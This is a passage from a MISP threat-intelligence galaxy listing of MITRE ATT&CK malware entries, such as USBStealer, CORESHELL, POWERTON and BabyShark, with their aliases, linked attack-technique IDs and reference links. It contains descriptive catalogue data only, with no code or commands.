uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 3268. Table References
Links
https://attack.mitre.org/software/S0153
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://twitter.com/ItsReallyNick/status/850105140589633536

USBStealer - S0136

[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

The tag is: misp-galaxy:mitre-malware="USBStealer - S0136"

USBStealer - S0136 is also known as:

USBStealer
USB Stealer
Win32/USBStealer

USBStealer - S0136 has relationships with:

similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 3269. Table References
Links
https://attack.mitre.org/software/S0136
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Janicab - S0163

[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)

The tag is: misp-galaxy:mitre-malware="Janicab - S0163"

Janicab - S0163 is also known as:

Janicab

Janicab - S0163 has relationships with:

similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 3270. Table References
Links
https://attack.mitre.org/software/S0163
http://www.thesafemac.com/new-signed-malware-called-janicab/

CORESHELL - S0137

[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: misp-galaxy:mitre-malware="CORESHELL - S0137"

CORESHELL - S0137 is also known as:

CORESHELL
Sofacy
SOURFACE

CORESHELL - S0137 has relationships with:

similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 3271. Table References
Links
https://attack.mitre.org/software/S0137
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/

FLIPSIDE - S0173

[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)

The tag is: misp-galaxy:mitre-malware="FLIPSIDE - S0173"

FLIPSIDE - S0173 is also known as:

FLIPSIDE

FLIPSIDE - S0173 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 3272. Table References
Links
https://attack.mitre.org/software/S0173
https://www.youtube.com/watch?v=fevGZs0EQu8

POWERTON - S0371

[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)

The tag is: misp-galaxy:mitre-malware="POWERTON - S0371"

POWERTON - S0371 is also known as:

POWERTON

POWERTON - S0371 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3273. Table References
Links
https://attack.mitre.org/software/S0371
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

Marcher - S0317

[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)

The tag is: misp-galaxy:mitre-malware="Marcher - S0317"

Marcher - S0317 is also known as:

Marcher

Marcher - S0317 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"

Table 3274. Table References
Links
https://attack.mitre.org/software/S0317
https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks

OLDBAIT - S0138

[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: misp-galaxy:mitre-malware="OLDBAIT - S0138"

OLDBAIT - S0138 is also known as:

OLDBAIT
Sasfis

OLDBAIT - S0138 has relationships with:

similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3275. Table References
Links
https://attack.mitre.org/software/S0138
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

FlawedAmmyy - S0381

[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)

The tag is: misp-galaxy:mitre-malware="FlawedAmmyy - S0381"

FlawedAmmyy - S0381 is also known as:

FlawedAmmyy

FlawedAmmyy - S0381 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Table 3276. Table References
Links
https://attack.mitre.org/software/S0381
https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

XLoader - S0318

[XLoader](https://attack.mitre.org/software/S0318) is a malicious Android app that was observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. (Citation: TrendMicro-XLoader)

The tag is: misp-galaxy:mitre-malware="XLoader - S0318"

XLoader - S0318 is also known as:

XLoader

XLoader - S0318 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 3277. Table References
Links
https://attack.mitre.org/software/S0318
https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/

HAWKBALL - S0391

[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)

The tag is: misp-galaxy:mitre-malware="HAWKBALL - S0391"

HAWKBALL - S0391 is also known as:

HAWKBALL

HAWKBALL - S0391 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"

Table 3278. Table References
Links
https://attack.mitre.org/software/S0391
https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

Allwinner - S0319

[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)

The tag is: misp-galaxy:mitre-malware="Allwinner - S0319"

Allwinner - S0319 is also known as:

Allwinner

Allwinner - S0319 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 3279. Table References
Links
https://attack.mitre.org/software/S0319
https://thehackernews.com/2016/05/android-kernal-exploit.html

PowerDuke - S0139

[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)

The tag is: misp-galaxy:mitre-malware="PowerDuke - S0139"

PowerDuke - S0139 is also known as:

PowerDuke

PowerDuke - S0139 has relationships with:

similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 3280. Table References
Links
https://attack.mitre.org/software/S0139
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

BabyShark - S0414

[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)

The tag is: misp-galaxy:mitre-malware="BabyShark - S0414"

BabyShark - S0414 is also known as:

BabyShark

BabyShark - S0414 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3281. Table References
Links
https://attack.mitre.org/software/S0414
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/

ChChes - S0144

[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: misp-galaxy:mitre-malware="ChChes - S0144"

ChChes - S0144 is also known as:

ChChes
Scorpion
HAYMAKER

ChChes - S0144 has relationships with:

similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3282. Table References
Links
https://attack.mitre.org/software/S0144
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
http://blog.jpcert.or.jp/2017/02/chches-malware—93d6.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://twitter.com/ItsReallyNick/status/850105140589633536

BOOSTWRITE - S0415

[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)

The tag is: misp-galaxy:mitre-malware="BOOSTWRITE - S0415"

BOOSTWRITE - S0415 is also known as:

BOOSTWRITE

BOOSTWRITE - S0415 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3283. Table References
Links
https://attack.mitre.org/software/S0415
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

POWERSOURCE - S0145

[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

The tag is: misp-galaxy:mitre-malware="POWERSOURCE - S0145"

POWERSOURCE - S0145 is also known as:

POWERSOURCE
DNSMessenger

POWERSOURCE - S0145 has relationships with:

similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 3284. Table References
Links
https://attack.mitre.org/software/S0145
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

TEXTMATE - S0146

[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)

The tag is: misp-galaxy:mitre-malware="TEXTMATE - S0146"

TEXTMATE - S0146 is also known as:

TEXTMATE
DNSMessenger

TEXTMATE - S0146 has relationships with:

similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3285. Table References
Links
https://attack.mitre.org/software/S0146
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

RDFSNIFFER - S0416

[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)

The tag is: misp-galaxy:mitre-malware="RDFSNIFFER - S0416"

RDFSNIFFER - S0416 is also known as:

RDFSNIFFER

RDFSNIFFER - S0416 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"

Table 3286. Table References
Links
https://attack.mitre.org/software/S0416
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

TDTESS - S0164

[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)

The tag is: misp-galaxy:mitre-malware="TDTESS - S0164"

TDTESS - S0164 is also known as:

TDTESS

TDTESS - S0164 has relationships with:

similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3287. Table References
Links
https://attack.mitre.org/software/S0164
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf

GRIFFON - S0417

[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)

The tag is: misp-galaxy:mitre-malware="GRIFFON - S0417"

GRIFFON - S0417 is also known as:

GRIFFON

GRIFFON - S0417 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3288. Table References
Links
